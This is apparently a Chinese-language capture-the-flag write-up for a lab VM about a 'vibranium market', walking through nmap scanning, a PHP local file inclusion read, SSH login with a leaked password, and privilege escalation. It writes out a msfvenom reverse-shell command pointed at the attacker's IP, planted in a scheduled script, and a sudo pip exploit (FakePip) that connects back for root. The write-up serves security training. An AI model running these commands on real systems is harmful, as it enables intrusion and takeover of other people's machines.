新的任务
一个新的“振金”市场将在暗网上出现。你的目标:拿到root文件里包含矿山的精确定位。
信息收集
攻击机ip地址:192.168.204.189
靶机IP地址:未知
攻击机kali在vmware上启动,网络模式为桥接模式。
靶机使用VirtualBox启动,网络模式为桥接模式。
首先要确定的是靶机的ip地址,使用nmap扫描:
nmap -sP 192.168.204.0/24
此处根据物理地址显示的设备为VirtualBox可以得知192.168.204.190就是靶机的IP地址。
继续使用nmap扫主机端口,这里使用详细扫描:
nmap -A 192.168.204.190
通过扫描结果可以知道主机开启了80,111,3333三个端口,分别运行WEB服务,RPC服务和SSH服务。
我们先查看web服务,在浏览器输入地址,进入网站主页:
主页上显示,这将是下一个开启的wankanda振金市场,在最后一行显示了制作者的信息,这或许是个有用的信息,制作者是一个叫mamadou的人。再查看网站的其他内容,但均无有用的信息出现。
我们继续使用Dirb扫描网站路径,看看有没有其他的发现。
扫描结果出现了几个路径,但是看后面的SIZE可以知道,除了index.php和server-status外,都是0字节的空白页。而这两个路径也没有用的信息。那我们再看看主页的源码。
查看源码后发现,有一行注释存在:
在url后面加入注释上的参数,如下显示:
页面中的一些英语变成了法语。可猜测这行注释是题目作者给的提示,给我们提供了之后的解题思路。
本地文件包含(LFI)漏洞
php伪协议
在继续分析注释的含义之前,我们需要先知道php伪协议是什么,PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。详细的内容可以看官方文档:http://cn2.php.net/manual/zh/wrappers.php
漏洞利用
根据作者的提示,我们可以猜测这里存在本地文件包含的漏洞。可以先尝试一下读取页面源代码,一般如下的形式:
/about.php?f=php://filter/convert.base64-encode/resource=index.php
以base64加密的形式读取页面源代码,然后在再对代码进行base64解密就可以得到源代码。
所以我们在地址栏中输入如下url:
http://192.168.204.190/?lang=php://filter/convert.base64-encode/resource=index
发现出现一行base64加密后的字符串,我们将这行字符串复制下来,并放到网站上进行解密网站上进行破解:
在最上面出现了下面的源代码:
1 |
|
可以看出,这里存在一个密码 :Niamey4Ever227!!!
再联想到网站的作者:mamadou
猜测这可能是ssh登录的用户名和密码。
Flag1
接下来试着用ssh的方式连接靶机:
输入用户名和密码后,成功登录了,shell形式是python,我们这里可以输入一条指令,使之变为bash shell:
import pty;pty.spawn(“/bin/bash”)
(此处扩展一个tty shell的生成指令介绍:https://netsec.ws/?p=337)
接下来查看到登录用户的权限不是root权限,在用户文件下有一个flag1.txt的文件,打开它之后,我们获得了第一个flag。
Flag 2
遍历其他目录之后,我们发现存在一个/tmp文件夹:
tmp文件具有其他用户读写和执行的权限,这将对我们很有帮助。
进入tmp文件里,看到里面存在一个test文件。
查看test文件发现,里面的内容只有一个单词,也是“test”。
查看tmp目录下文件的全部信息后发现,test文件的创建者为另一个用户:devops
我们使用Find指令查找属主devops的其他文件:
find / -user devops 2>/dev/null
我们发现存在一个flag2.txt,但此时的我们还无法查看它,因为它在devops用户目录下,此时的我们还不是devops用户。这里还看到一个python脚本,我们进入/srv/目录下并打开.antivirus.py这个脚本,看到其显示如下内容:
这个是控制我们之前tmp目录下的test文件的生成。那我们是不是能够好好利用这个脚本文件呢。
我们可以在这个脚本里写入shell,并反弹回自己的攻击机,从而进行连接,而此时连接的就是devops的用户。所以我们先用msf生成一个shell:
msfveon –p cmd/unix/reverse_python lhost=192.168.204.189 lport=4444 R
接着把shell复制到.antivirus.py脚本中,并把原来的一行代码注释掉:
之后,我们在本地用nc监听4444端口,看看shell是否反弹回请求:
等待一段时间后,脚本自动运行,同时连接也建立了:
此时的我们再启用bash shell,查看现在的用户就是devops:
然后查看用户文件夹下的文件,打开flag2.txt文件,得到第二个flag。
Flag3
现在,我们离胜利越来越近了。我们现在是devops用户,那看看我们能执行什么超级用户的权限吧。此处我们发现,我们可以以超级用户的身份执行pip。
pip漏洞
这对我们来说是一个好消息,因为,在记忆中就存在一个关于pip的漏洞,漏洞的exploit在github上:https://github.com/0x00-0x00/FakePip
提权
先把FakePip克隆仓库到本地:
git clone https://github.com/0x00-0x00/FakePip.git
然后修改其中的setup.py文件。把红色注释处的文件修改为我们kali的IP地址:
接着我们使用python的命令,在FakePip文件夹下开启一个web服务:
python –m SimpleHTTPServer 80
然后在靶机上,使用wget命令,访问kali,下载setup.py文件:
下载完成后,输入指令启动脚本:
sudo pip install . –upgrade –force-reinstall
我们在本地用nc监听443端口,接收靶机发送过来的请求:
连接成功后,此时的我们就是root权限了。在root文件夹下打开root.txt,成功获取到第三flag。
耶~